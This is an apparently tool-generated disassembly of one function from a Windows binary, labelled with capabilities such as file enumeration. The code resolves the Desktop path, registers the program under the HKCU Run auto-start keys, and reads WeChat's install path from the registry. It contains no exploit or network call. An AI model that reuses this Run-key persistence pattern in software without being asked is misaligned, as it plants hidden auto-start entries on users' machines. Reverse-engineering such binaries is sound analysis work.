Function at 0x140005da7
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0xc38
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xbb0], 0xfffffffffffffffe
movups xmm0, xmmword [0x1400a5f84]
lea rcx, [rbp + 0x420]
movaps xmmword [rcx], xmm0
lea r14, [rbp + 0x820]
and qword [r14], 0
xor edx, edx
xor r8d, r8d
mov r9, r14
call qword [sym.imp.shell32.dll_SHGetKnownFolderPath]
mov rcx, qword [r14]
test eax, eax
je 0x140005e0d
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov byte [rbp + 0xa98], 2
jmp 0x140005e43
call qword [sym.imp.kernel32.dll_lstrlenW]
movsxd r8, eax
mov rdx, qword [rbp + 0x820]
lea rsi, [rbp + 0xa80]
mov rcx, rsi
call fcn.1400844f0
mov rcx, qword [rbp + 0x820]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
cmp byte [rsi + 0x18], 2
jne 0x140006027
lea rax, str.Unable_to_get_the_users_home_directory_n
lea rcx, [rbp + 0x420]
mov qword [rcx], rax
mov qword [rcx + 8], 1
lea rax, [0x140103b50]
mov qword [rcx + 0x10], rax
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
call fcn.140089a50
push 2
pop rax
mov qword [rbp + 0xba8], rax
lea rax, [rbp + 0x1d0]
mov qword [rax], 2
xorps xmm0, xmm0
movups xmmword [rax + 8], xmm0
mov r8d, 0x200
xor edi, edi
xor r13d, r13d
xor r14d, r14d
cmp r8, 0x201
jae 0x140005eba
mov esi, 0x200
lea r15, [rbp + 0x420]
mov r12, r8
jmp 0x140005f12
sub r8, r14
sub r13, r14
cmp r13, r8
jae 0x140005ee9
lea rcx, [rbp + 0x1d0]
mov rdx, r14
call fcn.1400a1920
mov rax, qword [rbp + 0x1d0]
mov qword [rbp + 0xba8], rax
mov rdi, qword [rbp + 0x1d8]
mov eax, 0xffffffff
cmp rdi, rax
mov r14d, 0xffffffff
cmovb r14, rdi
mov qword [rbp + 0x1e0], r14
mov r13, rdi
mov rsi, r14
mov r15, qword [rbp + 0xba8]
mov r12, r14
xor ecx, ecx
call qword [sym.imp.kernel32.dll_SetLastError]
xor ecx, ecx
mov rdx, r15
mov r8d, r12d
call qword [sym.imp.kernel32.dll_GetModuleFileNameW]
mov ebx, eax
test eax, eax
jne 0x140005f38
call qword [sym.imp.kernel32.dll_GetLastError]
test eax, eax
jne 0x140005faf
mov r8d, ebx
cmp r12, r8
jne 0x140005f66
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x7a
jne 0x1400080bf
add r12, r12
mov eax, 0xffffffff
cmp r12, rax
cmovae r12, rax
mov r8, r12
jmp 0x140005ea0
jb 0x140005ea0
cmp rsi, r8
jb 0x14000822e
lea rcx, [rbp + 0x820]
mov rdx, r15
call fcn.1400844f0
mov rax, qword [rbp + 0x820]
mov qword [rbp + 0xb98], rax
mov rax, qword [rbp + 0x828]
mov qword [rbp + 0xb70], rax
mov r14, qword [rbp + 0x830]
mov bl, byte [rbp + 0x838]
jmp 0x140005fc6
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rbp + 0xb98], rax
mov bl, 2
test rdi, rdi
je 0x140005fda
push 2
pop rdx
mov rcx, qword [rbp + 0xba8]
call fcn.1400085d0
cmp bl, 2
je case.default.0x14000601b
lea rsi, [rbp + 0x420]
mov rcx, rsi
mov rdi, qword [rbp + 0xb98]
mov rdx, rdi
mov r8, r14
call fcn.1400847f0
movzx edx, byte [rsi]
mov rcx, qword [rsi + 0x10]
mov rax, qword [rsi + 0x20]
lea r8, [0x140104b00]
movsxd r9, dword [r8 + rdx*4]
add r9, r8
mov rdx, r14
jmp r9
add rcx, 4
jmp 0x140006200
movups xmm0, xmmword [rbp + 0xa80]
movups xmm1, xmmword [rbp + 0xa90]
lea rsi, [rbp + 0xaa0]
movaps xmmword [rsi + 0x10], xmm1
movaps xmmword [rsi], xmm0
lea rdx, str.Desktop
push 7
pop r8
mov rcx, rsi
call fcn.1400879f0
mov rdx, qword [rsi]
mov r8, qword [rsi + 0x10]
lea rsi, [rbp + 0x420]
mov rcx, rsi
call fcn.14000c600
cmp qword [rsi], 0
jne 0x1400082a1
mov r15, qword [rbp + 0x430]
test r15, r15
je 0x140007670
js 0x1400082b9
mov rsi, qword [rbp + 0x428]
mov al, byte [0x14010d2e0]
push 1
pop rdx
mov rcx, r15
call fcn.140008540
test rax, rax
je 0x1400082c0
mov qword [rbp + 0xb98], rax
mov rcx, rax
mov rdx, rsi
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
mov al, byte [0x14010d2e0]
push 1
pop rdx
mov rcx, r15
call fcn.140008540
test rax, rax
je 0x1400082cd
mov rbx, rax
mov rcx, rax
mov rdx, rsi
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0x420]
mov qword [rcx], rbx
mov qword [rcx + 8], r15
mov qword [rcx + 0x10], r15
mov byte [rcx + 0x18], 0
lea rdx, [0x1400db2a8]
push 1
pop rbx
mov r8, rbx
call fcn.1400879f0
lea rcx, [rbp + 0x420]
mov rdx, qword [rcx]
mov rax, qword [rcx + 8]
mov qword [rbp + 0xb80], rax
mov r8, qword [rcx + 0x10]
mov byte [rbp + 0xba6], 1
mov qword [rbp + 0xb70], rdx
call fcn.140082290
mov r12, qword [rbp + 0x420]
mov rdx, qword [rbp + 0x428]
test r12, r12
je 0x14000767f
mov rax, qword [rbp + 0x430]
mov qword [rbp + 0xb40], r12
mov qword [rbp + 0xb48], rdx
mov qword [rbp + 0xb50], rax
cmp rax, 3
mov rdi, qword [rbp + 0xb98]
jbe 0x1400076c0
movabs rcx, 0x5c003f005c005c
cmp qword [r12], rcx
je 0x140007bc0
movabs rcx, 0x5c003f003f005c
cmp qword [r12], rcx
je 0x140007bc0
cmp rax, 0xf8
jae 0x140007799
cmp word [r12 + 2], 0x3a
jne 0x14000776e
movzx eax, word [r12 + 4]
jmp 0x14000770f
push 6
jmp 0x1400061ff
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 8
jmp 0x140006200
pop rcx
mov rdx, r14
sub rdx, rcx
jb 0x1400081ee
add rcx, qword [rbp + 0xb98]
mov rdi, rcx
test rdx, rdx
je 0x14000622b
mov al, byte [rdi]
cmp al, 0x2f
sete cl
cmp al, 0x5c
sete al
or al, cl
jmp 0x14000622d
xor eax, eax
mov rcx, qword [rbp + 0xb98]
mov qword [rbp + 0x820], rcx
mov qword [rbp + 0x828], r14
movups xmm0, xmmword [rbp + 0x420]
movups xmm1, xmmword [rbp + 0x430]
movups xmmword [rbp + 0x830], xmm0
movups xmmword [rbp + 0x840], xmm1
mov rcx, qword [rbp + 0x440]
mov qword [rbp + 0x850], rcx
mov byte [rbp + 0x85a], al
mov word [rbp + 0x858], 0x200
lea r15, [rbp + 0x820]
test al, al
je 0x140006379
lea r12, [rbp + 0x420]
mov rsi, r14
mov rdi, rsi
mov al, 2
cmp al, 2
jne 0x140006324
mov rcx, r15
call fcn.140085130
cmp rdi, rax
ja 0x1400062b9
mov byte [rbp + 0x859], 1
mov al, 1
jmp 0x140006299
mov rcx, r12
mov rdx, r15
call fcn.1400852b0
mov rsi, rdi
sub rsi, qword [rbp + 0x420]
jb 0x1400080ec
mov r10b, byte [rbp + 0x428]
mov r8, qword [rbp + 0x430]
mov rdx, qword [rbp + 0x438]
mov qword [rbp + 0x828], rsi
cmp r10b, 0xa
je 0x140006294
xor r9d, r9d
cmp r10b, 9
setne cl
cmove r9, r8
jne 0x14000632f
cmp rdx, 2
jne 0x14000768e
cmp word [r9], 0x2e2e
jne 0x14000768e
push 2
pop r8
xor eax, eax
jmp 0x14000632f
test rdi, rdi
je 0x14000821a
mov cl, 1
test r9, r9
cmovne rax, r9
xor r10d, r10d
test cl, cl
jne 0x1400064b6
test rax, rax
je 0x1400064b6
test r9, r9
cmove r8, rdx
lea rsi, [rbp + 0x420]
mov rcx, rsi
mov rdx, rax
call fcn.14000c600
cmp qword [rsi], 0
jne 0x1400064ac
mov r10, qword [rbp + 0x428]
jmp 0x1400064af
mov r13b, byte [r15 + 0x10]
movzx ebx, r13b
mov al, 2
lea r12, [rbp + 0x420]
mov rsi, r14
mov rcx, r14
mov rdi, rcx
cmp al, 1
je 0x1400063fb
movzx eax, al
cmp eax, 2
jne 0x140006ba1
mov rcx, r15
call fcn.140085130
cmp rdi, rax
jbe 0x140006465
mov rcx, r12
mov rdx, r15
call fcn.1400852b0
mov rsi, rdi
sub rsi, qword [rbp + 0x420]
jb 0x1400080ec
mov r10b, byte [rbp + 0x428]
mov r8, qword [rbp + 0x430]
mov rdx, qword [rbp + 0x438]
mov qword [rbp + 0x828], rsi
mov rcx, rsi
mov al, 2
cmp r10b, 0xa
je 0x140006390
jmp 0x1400062f6
mov byte [rbp + 0x859], 0
xor eax, eax
mov rcx, rdi
cmp ebx, 3
jb 0x140006390
mov rcx, rdi
cmp ebx, 5
je 0x140006390
cmp ebx, 6
jne case.0x140006bb9.0
xor ecx, ecx
mov eax, 0
test rdi, rdi
je 0x140006390
mov rax, qword [rbp + 0xb98]
mov dl, byte [rax]
cmp rdi, 1
je 0x140006476
cmp dl, 0x2e
jne 0x140006476
mov rax, qword [rbp + 0xb98]
movzx edx, byte [rax + 1]
cmp edx, 0x2f
je 0x140006491
xor eax, eax
mov rcx, rdi
cmp edx, 0x5c
jne 0x140006390
jmp 0x140006491
mov byte [rbp + 0x859], 1
mov al, 1
mov rcx, rdi
jmp 0x140006390
xor eax, eax
mov rcx, rdi
cmp rdi, 1
jne 0x140006390
mov rcx, rdi
cmp dl, 0x2e
jne 0x140006390
test rsi, rsi
jne case.0x140006bb9.0
dec rsi
lea r8, str.library_std_srcpath.rs
mov rcx, rsi
jmp 0x140008227
xor r10d, r10d
mov rsi, qword [rbp + 0x430]
test r10, r10
lea rbx, str.the_appFailed_to_enable_auto_launch
cmovne rbx, r10
push 7
pop rax
cmove rsi, rax
lea rdi, [rbp + 0xb40]
mov rcx, rdi
mov rdx, qword [rbp + 0xb98]
mov r8, r14
call fcn.14008a920
mov r14, qword [rdi]
mov rdi, qword [rdi + 0x10]
test r14, r14
jne 0x1400064f7
mov r14, qword [rbp + 0xb48]
mov rcx, rsi
call fcn.14003239b
mov r15, rax
mov r12, rdx
mov rcx, rax
mov rdx, rbx
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
mov rcx, rdi
call fcn.14003239b
mov rbx, rax
mov r13, rdx
mov rcx, rax
mov rdx, r14
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0x850], 8
xorps xmm0, xmm0
movups xmmword [rbp + 0x858], xmm0
mov qword [rbp + 0x820], r15
mov qword [rbp + 0x828], r12
mov qword [rbp + 0x830], rsi
mov qword [rbp + 0x838], rbx
mov qword [rbp + 0x840], r13
mov qword [rbp + 0x848], rdi
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRunSOFTWAREMicrosoftWindowsCurrentVersionExplorerStartupApprovedRun
push 0x2d
pop r8
push 2
pop r9
mov rcx, 0xffffffff80000001
call fcn.140009464
mov r9, rdx
test rax, rax
jne 0x140008151
lea rax, [rbp + 0x838]
mov qword [rbp + 0xa80], rax
mov r15, qword [rax + 0x28]
test r15, r15
mov qword [rbp + 0xb80], r9
je 0x140006721
mov r10, qword [rbp + 0x850]
imul rcx, r15, 0x18
lea rax, [rcx - 0x18]
push 0x18
pop r8
xor edx, edx
div r8
mov rdi, rax
mov qword [rbp + 0xb78], r10
mov rax, r10
test rcx, rcx
je 0x14000660a
lea rdx, [rax + 0x18]
add rcx, 0xffffffffffffffe8
add rdi, qword [rax + 0x10]
mov rax, rdx
jae 0x1400065dc
lea rcx, str.attempt_to_join_into_collection_with_len___usize::MAX_rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_alloc_src_str.rs
lea r8, [0x1400a4238]
push 0x35
pop rdx
call fcn.14009f390
ud2
mov rcx, rdi
call fcn.14003239b
lea rsi, [rbp + 0x1d0]
mov qword [rsi], rax
mov qword [rsi + 8], rdx
and qword [rsi + 0x10], 0
mov rax, qword [rbp + 0xb78]
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
add r8, rdx
mov rcx, rsi
call fcn.14009d54c
mov rbx, qword [rsi + 0x10]
mov r13, rdi
sub r13, rbx
add rbx, qword [rsi]
imul rax, r15, 0x18
add rax, 0xffffffffffffffe8
mov qword [rbp + 0xb88], rax
xor r15d, r15d
push 1
pop rsi
cmp qword [rbp + 0xb88], r15
je 0x14000670d
mov rax, qword [rbp + 0xb78]
mov rcx, qword [rax + r15 + 0x18]
mov qword [rbp + 0xba8], rcx
mov r12, qword [rax + r15 + 0x28]
lea r14, [rbp + 0x420]
mov rcx, r14
mov rdx, rbx
mov r8, r13
mov r9, rsi
call fcn.1400092ae
mov rcx, qword [rbp + 0x420]
mov rdx, qword [rbp + 0x428]
mov rbx, qword [rbp + 0x430]
mov r13, qword [rbp + 0x438]
lea r8, [0x1400d4e3e]
mov r9, rsi
call fcn.14000927f
mov rcx, r14
mov rdx, rbx
mov r8, r13
mov r9, r12
call fcn.1400092ae
mov rcx, qword [rbp + 0x420]
mov rdx, qword [rbp + 0x428]
mov rbx, qword [rbp + 0x430]
mov r13, qword [rbp + 0x438]
mov r8, qword [rbp + 0xba8]
mov r9, r12
call fcn.14000927f
add r15, 0x18
jmp 0x140006660
sub rdi, r13
movups xmm0, xmmword [rbp + 0x1d0]
movaps xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], rdi
jmp 0x140006730
mov qword [rbp - 0x50], 1
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
lea rbx, [rbp - 0x50]
lea rax, [rbp + 0xaa0]
mov qword [rax], rbx
lea rcx, [rbp + 0xa80]
lea rdi, [rbp + 0x1d0]
mov qword [rdi], rcx
lea rcx, [0x14000926a]
mov qword [rdi + 8], rcx
lea rdx, [0x1400bd390]
lea r15, [rbp + 0x420]
mov qword [r15], rdx
push 2
pop rdx
mov qword [r15 + 8], rdx
and qword [r15 + 0x20], 0
mov qword [rdi + 0x10], rax
mov qword [rdi + 0x18], rcx
lea rax, [rbp + 0x1d0]
mov qword [r15 + 0x10], rax
mov qword [r15 + 0x18], rdx
lea rsi, [rbp + 0xb00]
mov rcx, rsi
mov rdx, r15
call fcn.140008d80
mov rcx, qword [rbx]
mov rdx, qword [rbx + 8]
call fcn.140030a09
mov rbx, qword [rsi]
mov rax, qword [rsi + 8]
mov qword [rbp + 0xba8], rax
mov r8, qword [rsi + 0x10]
mov rcx, rdi
mov rdx, rbx
call fcn.14009d51f
mov r13, qword [rdi]
mov r14, qword [rdi + 0x10]
add r14, r14
mov rcx, r14
call fcn.14003239b
mov rsi, rax
mov r12, rdx
mov rcx, rax
mov rdx, r13
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
mov qword [r15], rsi
mov qword [r15 + 8], r12
mov qword [r15 + 0x10], r14
mov byte [r15 + 0x18], 1
mov rcx, qword [rdi]
mov rdx, qword [rdi + 8]
call fcn.140001ec7
mov rdx, qword [rbp + 0x820]
mov r8, qword [rbp + 0x830]
lea r9, [rbp + 0x420]
mov r14, qword [rbp + 0xb80]
mov rcx, r14
call fcn.1400093f7
mov rdi, rax
mov rcx, rsi
mov rdx, r12
call fcn.140030a09
mov rcx, rbx
mov rdx, qword [rbp + 0xba8]
call fcn.140030a09
mov rcx, r14
call fcn.14009d62d
test rdi, rdi
jne 0x14000824b
lea rdx, [0x1400a4295]
push 0x46
pop r8
push 2
pop r9
mov rcx, 0xffffffff80000001
call fcn.140009464
mov rdi, rdx
test rax, rax
je 0x14000688d
mov rcx, rax
mov rdx, rdi
call fcn.14000956b
jmp 0x1400068f6
push 0xc
pop rcx
call fcn.14003239b
mov rsi, rax
mov rbx, rdx
and dword [rax + 8], 0
mov qword [rax], 2
lea r9, [rbp + 0x420]
mov qword [r9], rax
mov qword [r9 + 8], rdx
mov qword [r9 + 0x10], 0xc
mov byte [r9 + 0x18], 3
mov rdx, qword [rbp + 0x820]
mov r8, qword [rbp + 0x830]
mov rcx, rdi
call fcn.1400093f7
mov r14, rax
mov rcx, rsi
mov rdx, rbx
call fcn.140030a09
mov rcx, rdi
call fcn.14009d62d
test r14, r14
jne 0x140008248
mov rcx, 0xffffffff80000001
call fcn.14009d62d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRunSOFTWAREMicrosoftWindowsCurrentVersionExplorerStartupApprovedRun
push 0x2d
pop r8
mov rcx, 0xffffffff80000001
mov r9d, 0x20019
call fcn.140009464
mov rsi, rdx
test rax, rax
jne 0x140008159
mov r8, qword [rbp + 0x820]
mov r9, qword [rbp + 0x830]
lea r15, [rbp + 0x1d0]
mov rcx, r15
mov rdx, rsi
call fcn.1400092e8
movzx ecx, byte [r15 + 0x18]
cmp rcx, 0xc
jne 0x140006962
mov rdi, qword [rbp + 0x1d0]
jmp 0x140006f80
movabs rdi, 0xde00000002
xor ebx, ebx
cmp rcx, 7
ja 0x140006f62
mov eax, 0x86
bt rax, rcx
jae 0x140006f62
mov qword [rbp + 0xba8], rcx
mov qword [rbp + 0xb30], rsi
mov r15, qword [rbp + 0x1d0]
mov rax, qword [rbp + 0x1e0]
mov r14, rax
and r14, 0xfffffffffffffffe
add r14, r15
lea rdi, [rbp + 0x420]
mov qword [rdi], 1
xorps xmm0, xmm0
movups xmmword [rdi + 8], xmm0
mov rdx, rax
shr rdx, 2
bt eax, 1
adc rdx, 0
mov rcx, rdi
call fcn.14009d285
xor esi, esi
movabs r12, 0x100000000
test si, si
je 0x1400069ef
mov ecx, r13d
jmp 0x140006a00
cmp r15, r14
je 0x140006b65
movzx ecx, word [r15]
add r15, 2
mov eax, ecx
and eax, 0xf800
cmp ax, 0xd800
jne 0x140006a5a
cmp cx, 0xdbff
ja 0x140006acd
cmp r15, r14
je 0x140006ad1
movzx eax, word [r15]
add r15, 2
mov edx, eax
add edx, 0x2000
cmp dx, 0xfc00
jb 0x140006ae4
movzx eax, ax
and ecx, 0x3ff
and eax, 0x3ff
shl rcx, 0x1a
shl rax, 0x10
or rax, rcx
add rax, r12
jmp 0x140006a61
movzx eax, cx
shl rax, 0x10
mov rbx, rax
shr rbx, 0x10
cmp ebx, 0x80
jae 0x140006aaa
mov rdx, qword [rbp + 0x430]
cmp rdx, qword [rbp + 0x428]
jne 0x140006a8f
mov rcx, rdi
call fcn.14009d035
mov rdx, qword [rbp + 0x430]
mov rax, qword [rbp + 0x420]
mov byte [rax + rdx], bl
inc rdx
mov qword [rbp + 0x430], rdx
xor esi, esi
jmp 0x1400069e5
and dword [rbp - 0x50], 0
cmp ebx, 0x800
jae 0x140006ad8
shr eax, 0x16
or al, 0xc0
mov byte [rbp - 0x50], al
and bl, 0x3f
or bl, 0x80
mov byte [rbp - 0x4f], bl
xor esi, esi
push 2
jmp 0x140006b15
xor esi, esi
jmp 0x140006aeb
xor esi, esi
mov r15, r14
jmp 0x140006aeb
cmp ebx, 0x10000
jae 0x140006b2f
xor esi, esi
jmp 0x140006af4
mov si, 1
mov r13d, eax
and dword [rbp - 0x50], 0
mov ebx, 0xfffd
mov eax, ebx
shr eax, 0xc
or al, 0xe0
mov byte [rbp - 0x50], al
mov eax, ebx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rbp - 0x4f], al
and bl, 0x3f
or bl, 0x80
mov byte [rbp - 0x4e], bl
push 3
pop rax
lea r8, [rax + rbp]
add r8, 0xffffffffffffffb0
mov rcx, rdi
lea rdx, [rbp - 0x50]
call fcn.14009d54c
jmp 0x1400069e5
mov rcx, rax
shr rcx, 0x22
or cl, 0xf0
mov byte [rbp - 0x50], cl
mov rcx, rax
shr rcx, 0x1c
and cl, 0x3f
or cl, 0x80
mov byte [rbp - 0x4f], cl
shr eax, 0x16
and al, 0x3f
or al, 0x80
mov byte [rbp - 0x4e], al
and bl, 0x3f
or bl, 0x80
mov byte [rbp - 0x4d], bl
xor esi, esi
push 4
jmp 0x140006b15
mov rbx, qword [rbp + 0x420]
mov rdi, qword [rbp + 0x428]
mov rax, qword [rbp + 0x430]
inc rax
mov rsi, qword [rbp + 0xb30]
mov rcx, qword [rbp + 0xba8]
cmp rax, 1
je 0x140006bbb
lea r15, [rax - 1]
cmp byte [rbx + rax - 2], 0
mov rax, r15
je 0x140006b8b
jmp 0x140006bbe
cmp r13b, 6
je case.0x140006bb9.0
lea rax, [0x140104b1c]
movsxd rcx, dword [rax + rbx*4]
add rcx, rax
jmp rcx
xor r15d, r15d
cmp cl, 7
jne 0x140006f0c
mov qword [rbp + 0xaf0], rdi
lea rcx, [rbp - 0x50]
push 1
pop rax
mov qword [rcx], rax
xorps xmm0, xmm0
movups xmmword [rcx + 8], xmm0
mov qword [rsp + 0x20], rax
lea r9, [0x140103de9]
lea r13, [rbp + 0x420]
mov rcx, r13
mov qword [rbp + 0xaf8], rbx
mov rdx, rbx
mov r8, r15
call fcn.140010c40
mov rax, qword [r13]
mov qword [rbp + 0xac8], rax
mov r12, qword [r13 + 8]
mov rax, qword [r13 + 0x18]
mov rcx, qword [r13 + 0x20]
mov qword [rbp + 0xb88], rcx
mov rbx, qword [r13 + 0x28]
mov rdx, qword [r13 + 0x38]
mov rsi, qword [r13 + 0x48]
mov r14, qword [r13 + 0x50]
mov rdi, qword [r13 + 0x58]
mov r13, qword [r13 + 0x60]
lea rcx, [r13 - 1]
mov qword [rbp + 0xb78], rcx
mov rcx, rax
and rcx, 0xffffffffffffff00
mov qword [rbp + 0xad0], rcx
mov qword [rbp + 0xae0], rax
mov byte [rbp + 0xba8], al
xor eax, eax
mov qword [rbp + 0xb80], rax
cmp qword [rbp + 0xac8], 0
je 0x140006e00
movzx eax, byte [rbp + 0xba8]
or rax, qword [rbp + 0xad0]
mov rcx, r13
mov qword [rbp + 0xb38], rax
sub rcx, rax
mov qword [rbp + 0xae8], rcx
mov rax, rdx
mov qword [rbp + 0xb90], rdx
cmp r12, rax
mov r11, rax
cmova r11, r12
mov r10, rdx
cmp rdx, 0xffffffffffffffff
cmove r11, r12
mov r9d, 0
mov qword [rbp + 0xad8], rax
cmovne r9, rax
mov rax, qword [rbp + 0xb78]
add rax, rbx
cmp rax, r14
jae 0x140006f15
movzx eax, byte [rsi + rax]
mov rcx, qword [rbp + 0xb88]
bt rcx, rax
jae 0x140006d88
lea rdx, [rsi + rbx]
mov rcx, r11
cmp rcx, r13
jae 0x140006d34
mov rax, rcx
add rcx, rbx
cmp rcx, r14
jae 0x1400076f2
lea rcx, [rax + 1]
mov r8b, byte [rdi + rax]
cmp r8b, byte [rdx + rax]
je 0x140006cfe
sub rbx, r12
add rbx, rax
inc rbx
cmp r10, 0xffffffffffffffff
je 0x140006ccf
jmp 0x140006dbc
mov rcx, r12
cmp r9, rcx
jae 0x140006dcf
dec rcx
cmp rcx, r13
jae 0x14000773b
lea rax, [rcx + rbx]
cmp rax, r14
jae 0x140007747
mov dl, byte [rdi + rcx]
cmp dl, byte [rsi + rax]
je 0x140006d37
add rbx, qword [rbp + 0xb38]
cmp r10, 0xffffffffffffffff
je 0x140006ccf
mov rax, qword [rbp + 0xae8]
mov qword [rbp + 0xb90], rax
mov rdx, r10
jmp 0x140006ca9
add rbx, r13
mov rdx, r10
cmp r10, 0xffffffffffffffff
mov eax, 0
mov rcx, qword [rbp + 0xb90]
cmovne rcx, rax
mov qword [rbp + 0xb90], rcx
mov rcx, qword [rbp + 0xad8]
cmovne rcx, rax
mov rax, rcx
jmp 0x140006ca9
xor eax, eax
mov qword [rbp + 0xb90], rax
xor eax, eax
mov rdx, r10
jmp 0x140006ca9
cmp r10, 0xffffffffffffffff
mov eax, 0
mov rcx, qword [rbp + 0xb90]
cmovne rcx, rax
lea rax, [rbx + r13]
mov r8, rbx
mov qword [rbp + 0xb38], rax
mov rbx, rax
mov qword [rbp + 0xb90], rcx
jmp 0x140006ebe
mov qword [rbp + 0xb90], rdx
test dword [rbp + 0xae0], 0xff0000
jne 0x140006f15
mov rax, r14
test r12, r12
je 0x140006e39
mov rax, r14
sub rax, r12
jbe 0x140006e33
cmp byte [rsi + r12], 0xbf
jg 0x140006e39
jmp 0x140008100
jne 0x140008100
lea rcx, [rsi + r12]
add rax, rcx
mov qword [rbp + 0x420], rcx
mov qword [rbp + 0x428], rax
lea rcx, [rbp + 0x420]
call fcn.140096f8b
test eax, eax
mov eax, 0x110000
cmove edx, eax
mov al, byte [rbp + 0xba8]
test al, al
jne 0x140006eac
cmp edx, 0x110000
je 0x140006f15
push 1
pop rax
cmp edx, 0x80
jb 0x140006e9d
push 2
pop rax
cmp edx, 0x800
jb 0x140006e9d
cmp edx, 0x10000
push 4
pop rax
sbb rax, 0
add r12, rax
mov byte [rbp + 0xba8], 1
jmp 0x140006e17
xor al, 1
mov byte [rbp + 0xba8], al
mov qword [rbp + 0xb38], r12
mov r8, r12
mov rax, qword [rbp + 0xaf8]
mov rdx, qword [rbp + 0xb80]
add rdx, rax
add r8, rax
lea rcx, [rbp - 0x50]
call fcn.14009d54c
lea rcx, [rbp - 0x50]
lea rdx, [0x140103de8]
lea r8, [0x140103de9]
call fcn.14009d54c
mov rax, qword [rbp + 0xb38]
mov qword [rbp + 0xb80], rax
mov rdx, qword [rbp + 0xb90]
jmp 0x140006c6f
lea r15, [rbp + 0x1d0]
jmp 0x140006f62
mov rbx, qword [rbp + 0xaf8]
mov rdx, qword [rbp + 0xb80]
add rdx, rbx
add r15, rbx
lea rsi, [rbp - 0x50]
mov rcx, rsi
mov r8, r15
call fcn.14009d54c
mov rdi, qword [rsi]
mov rsi, qword [rsi + 8]
mov rcx, rbx
mov rdx, qword [rbp + 0xaf0]
call fcn.140030a09
mov rbx, rdi
mov rdi, rsi
lea r15, [rbp + 0x1d0]
mov rsi, qword [rbp + 0xb30]
lea rcx, [rbp + 0x1d0]
call fcn.1400094f7
test rbx, rbx
je 0x140006f80
mov rcx, rbx
mov rdx, rdi
call fcn.140030a09
jmp 0x140006f88
mov rcx, rdi
call fcn.140009510
mov rcx, rsi
call fcn.14009d62d
lea rdx, [0x1400a4295]
push 0x46
pop r8
mov rcx, 0xffffffff80000001
mov r9d, 0x20019
call fcn.140009464
mov rsi, rdx
test rax, rax
je 0x140006fc5
mov rcx, rax
mov rdx, rsi
call fcn.14000956b
jmp 0x140007049
mov r8, qword [rbp + 0x820]
mov r9, qword [rbp + 0x830]
lea rdi, [rbp + 0x420]
mov rcx, rdi
mov rdx, rsi
call fcn.1400092e8
cmp byte [rdi + 0x18], 0xc
jne 0x140007001
lea rcx, [rbp + 0x420]
call fcn.1400094f7
mov rcx, rsi
call fcn.14009d62d
jmp 0x140007049
mov rbx, qword [rbp + 0x420]
mov rdi, qword [rbp + 0x428]
mov r14, qword [rbp + 0x430]
mov rcx, rsi
call fcn.14009d62d
cmp r14, 8
jb 0x14000703e
add r14, rbx
push 7
pop rcx
mov rax, rcx
sub rax, 1
jb 0x14000703e
cmp byte [r14 + rcx - 8], 0
mov rcx, rax
je 0x14000702d
mov rcx, rbx
mov rdx, rdi
call fcn.140030a09
mov rcx, 0xffffffff80000001
call fcn.14009d62d
mov dword [rsp + 0x20], 1
lea r8, str.SOFTWARETencent_bugReportWechatWindowsInstallDirWeChat_installation_path:
lea rsi, [rbp + 0xaa0]
push 0x28
pop r9
mov rcx, rsi
mov rdx, 0xffffffff80000002
call fcn.1400024ca
cmp qword [rsi], 0
je 0x1400070e4
mov rax, qword [rbp + 0xaa8]
mov qword [rbp - 0x50], rax
lea rsi, [rbp - 0x50]
mov qword [rbp + 0x1d0], rsi
lea rax, str.Unable_to_open_registry_subkey:
lea rcx, [rbp + 0x420]
mov qword [rcx], rax
mov qword [rcx + 8], 2
and qword [rcx + 0x20], 0
lea rax, [0x140086da0]
mov qword [rbp + 0x1d8], rax
mov qword [rcx + 0x10], r15
mov qword [rcx + 0x18], 1
call fcn.140089a50
mov rcx, rsi
call fcn.140001e3d
jmp 0x1400071f1
mov rsi, qword [rbp + 0xaa8]
lea r8, [0x1400a3d88]
lea rdi, [rbp - 0x50]
push 0xa
pop r9
mov rcx, rdi
mov rdx, rsi
call fcn.140002551
mov rdi, qword [rdi]
test rdi, rdi
je 0x14000718b
mov rbx, qword [rbp - 0x48]
mov r8, qword [rbp - 0x40]
mov rcx, r15
mov rdx, rdi
call fcn.14008a920
mov qword [rbp + 0xb00], r15
lea rax, [0x1400a3db0]
lea rcx, [rbp + 0x420]
mov qword [rcx], rax
mov qword [rcx + 8], 2
and qword [rcx + 0x20], 0
lea rax, [0x14007f5ea]
mov qword [rbp + 0xb08], rax
lea rax, [rbp + 0xb00]
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], 1
call fcn.1400897f0
mov rcx, qword [rbp + 0x1d0]
mov rdx, qword [rbp + 0x1d8]
call fcn.140001edd
mov rcx, rdi
mov rdx, rbx
call fcn.140030a09
jmp 0x1400071e9
mov rax, qword [rbp - 0x48]
mov qword [rbp + 0xb00], rax
lea rdi, [rbp + 0xb00]
mov qword [rbp + 0x1d0], rdi
lea rax, str.Unable_to_retrieve_registry_key_value:
lea rcx, [rbp + 0x420]
mov qword [rcx], rax
mov qword [rcx + 8], 2
and qword [rcx + 0x20], 0
lea rax, [0x140086da0]
mov qword [rbp + 0x1d8], rax
mov qword [rcx + 0x10], r15
mov qword [rcx + 0x18], 1
call fcn.140089a50
mov rcx, rdi
call fcn.140001e3d
mov rcx, rsi
call fcn.14009d21c
mov rcx, 0xffffffff80000002
call fcn.14009d21c
